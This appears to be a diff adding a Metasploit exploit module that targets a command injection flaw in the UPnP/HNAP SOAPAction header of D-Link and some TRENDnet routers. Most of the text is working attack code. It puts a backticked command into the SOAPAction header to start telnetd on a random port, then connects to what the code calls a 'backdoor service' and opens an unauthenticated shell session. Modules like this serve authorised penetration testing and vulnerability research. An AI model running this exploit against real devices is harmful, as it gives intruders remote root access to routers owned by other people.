|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::CommandShell |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP |
| 19 | + interface. Since it is a blind OS command injection vulnerability, there is no |
| 20 | + output for the executed command. This module has been tested on a DIR-645 device. |
| 21 | + The following devices are also reported as affected: |
| 22 | + DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB |
| 23 | + DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645 |
| 28 | + 'Craig Heffner', # independent Vulnerability discovery on different other routers |
| 29 | + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'], |
| 35 | + ['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Feb 13 2015', |
| 38 | + 'Privileged' => true, |
| 39 | + 'Platform' => 'unix', |
| 40 | + 'Arch' => ARCH_CMD, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Automatic', { } ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0 |
| 46 | + )) |
| 47 | + end |
| 48 | + |
| 49 | + def check |
| 50 | + uri = '/HNAP1/' |
| 51 | + soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings" |
| 52 | + |
| 53 | + begin |
| 54 | + res = send_request_cgi({ |
| 55 | + 'uri' => uri, |
| 56 | + 'method' => 'GET', |
| 57 | + 'headers' => { |
| 58 | + 'SOAPAction' => soapaction, |
| 59 | + }, |
| 60 | + }) |
| 61 | + if res && [200].include?(res.code) && res.body =~ /D-Link/ |
| 62 | + return Exploit::CheckCode::Detected |
| 63 | + end |
| 64 | + rescue ::Rex::ConnectionError |
| 65 | + return Exploit::CheckCode::Unknown |
| 66 | + end |
| 67 | + |
| 68 | + Exploit::CheckCode::Unknown |
| 69 | + end |
| 70 | + |
| 71 | + def exploit |
| 72 | + print_status("#{peer} - Trying to access the device ...") |
| 73 | + |
| 74 | + unless check == Exploit::CheckCode::Detected |
| 75 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") |
| 76 | + end |
| 77 | + |
| 78 | + print_status("#{peer} - Exploiting...") |
| 79 | + |
| 80 | + telnetport = rand(32767) + 32768 |
| 81 | + |
| 82 | + cmd = "telnetd -p #{telnetport}" |
| 83 | + |
| 84 | + execute_command(cmd) |
| 85 | + |
| 86 | + handle_telnet(telnetport) |
| 87 | + end |
| 88 | + |
| 89 | + def handle_telnet(telnetport) |
| 90 | + |
| 91 | + begin |
| 92 | + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) |
| 93 | + |
| 94 | + if sock |
| 95 | + print_good("#{peer} - Backdoor service spawned") |
| 96 | + add_socket(sock) |
| 97 | + else |
| 98 | + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") |
| 99 | + end |
| 100 | + |
| 101 | + print_status "Starting a Telnet session #{rhost}:#{telnetport}" |
| 102 | + merge_me = { |
| 103 | + 'USERPASS_FILE' => nil, |
| 104 | + 'USER_FILE' => nil, |
| 105 | + 'PASS_FILE' => nil, |
| 106 | + 'USERNAME' => nil, |
| 107 | + 'PASSWORD' => nil |
| 108 | + } |
| 109 | + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) |
| 110 | + rescue |
| 111 | + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") |
| 112 | + end |
| 113 | + return |
| 114 | + end |
| 115 | + |
| 116 | + def execute_command(cmd) |
| 117 | + |
| 118 | + uri = '/HNAP1/' |
| 119 | + |
| 120 | + soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd}`" |
| 121 | + |
| 122 | + begin |
| 123 | + res = send_request_cgi({ |
| 124 | + 'uri' => uri, |
| 125 | + 'method' => 'GET', |
| 126 | + 'headers' => { |
| 127 | + 'SOAPAction' => soapaction, |
| 128 | + }, |
| 129 | + },1) |
| 130 | + rescue ::Rex::ConnectionError |
| 131 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 132 | + end |
| 133 | + end |
| 134 | +end |
0 commit comments